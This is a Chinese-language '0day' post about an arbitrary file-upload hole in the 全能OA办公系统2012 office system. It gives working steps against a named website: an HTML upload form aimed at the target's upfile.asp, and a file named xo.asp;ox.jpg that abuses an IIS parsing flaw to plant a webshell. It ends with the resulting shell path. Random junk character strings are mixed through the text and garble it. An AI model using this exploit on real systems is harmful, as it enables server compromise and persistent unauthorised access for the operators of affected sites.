全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：
# E& e$ L( e$ n  w/ l$ m; E
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

* \; H% D- L- v: x主要功能：
8 [; p  `5 \# l3 }5 D( O) r公司通告
5 d7 C3 A, c7 \7 T9 ~2 z工作计划
4 j0 q, t' i1 K" Z/ G2 }6 x3 m通讯助理
: d' F/ }" V) e* Q8 H0 [$ E* l( Z+ A客户资源
我的公文
3 \! D* \/ X( Z1 a! N公文传阅
公共资源
2 ^( L0 W/ f; i' r资源预约
今日考勤
- X# O( ]: v! @7 h个人计划
. a6 V/ k$ {+ {) z* \( u0 t个人通讯录
个人基本档案
% ?& Y& t9 V# ^' y  {未读邮件
: v& k5 X2 |! g发邮件
' U( x) T4 }9 w5 U4 Y# V/ ]. Z收件夹
寄件夹
: z; w. G4 ?9 D! @1 X9 B# Z网络硬盘
网络会议
网络调查
/ X) e8 f) B/ |4 i交流论坛
6 P0 L- h& v* q& j
有兴趣测试的朋友可以下源码看看

源码下载：
7 Y4 y% H( P! a% Z5 _
1 W3 o7 Z, E! {& i. L& F# \- thttp://www.mycodes.net/30/4750.htm

漏洞介绍：
+ {+ f4 G" P( q6 T
由upfile.asp上传文件漏洞引起

测试方法：
; M9 g8 r" t) N8 A" y
使用名小子上传http://www.itlynn.com/upfile.asp即可

4 j" Q5 l# a1 `$ w2 b7 x! u如果upfile.asp文件被删除不存在。

$ D" g, G. l* t: L; ~  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

' h/ H. p/ b, E& N. t: n8 {; g如果存在那么将如下代码保存为upfile.html。
. ~* D0 }4 I7 U1 G, X# B
' }6 G& e9 w" |: B  z+ ^然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
* M5 B/ o) _% @; S* A. x8 s
' y+ X2 \8 h  B* i8 s

- S; V# K; o% J6 G01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
( t1 C+ O/ d/ R/ R
* N3 K1 X( G. B) r6 d3 ?* F03 <tr>

- y; A4 J0 m( F9 S04             <td>报错：</td>
+ T3 u2 W) P+ F5 G9 b
05             <td><input type='radio' name='errnumber' value='0'>
$ V; t5 H  @& M. j# c3 d1 F0 _
3 ^9 D- P" u# r9 k3 @( {06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>

3 K! i* d$ T3 T- C2 d08               报错方式
) j; S8 T' A! y
09               <input type='radio' name='errnumber' value='2'>

( ]7 W2 N$ l: D& o' {10               直接覆盖</td>
& ]2 a' y( e( W. l- ~0 J
11           </tr>
' r5 d7 C  r0 r( X) W) y
12           <tr>

13             <td>主题：</td>

6 w8 ?8 x) H/ J- o6 G0 e14             <td><input type='text' name='filename' size='30'></td>
/ g$ p  b: @! s  X. v. K
15           </tr>
: t  S. F( e$ w" p# W+ }
16           <tr>

0 }& Y5 M/ o( g$ d$ l& D17             <td>文件：</td>
. s# A% f: }  ~5 q1 i/ Y
) z& W2 f* f( I18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>

20           <tr>
; Y5 Q  h: q% o$ P
- u1 |6 q8 h9 h& v( \21             <td valign='top'>简介：</td>
- `' ~) S1 j  d
+ \; p: D9 Y0 b' W, [, |22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
, k7 E3 I. V  u6 s( _( m- G: ]0 f
23           </tr>

24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
8 c+ x& _5 v9 Q1 y6 }& G( r
5 r. b/ E  C5 G! m; }  ~. J26           </tr>

27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。

' S) ]8 @* r% D  Q# |: E. i8 [" A% l

8 [, M8 }+ p( X7 q  D- A& ^上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
, K) ^$ ^9 v( L4 |1 V
  d5 |" ^* ?/ N( ^. X$ m6 `此漏洞需要配合解析漏洞利用。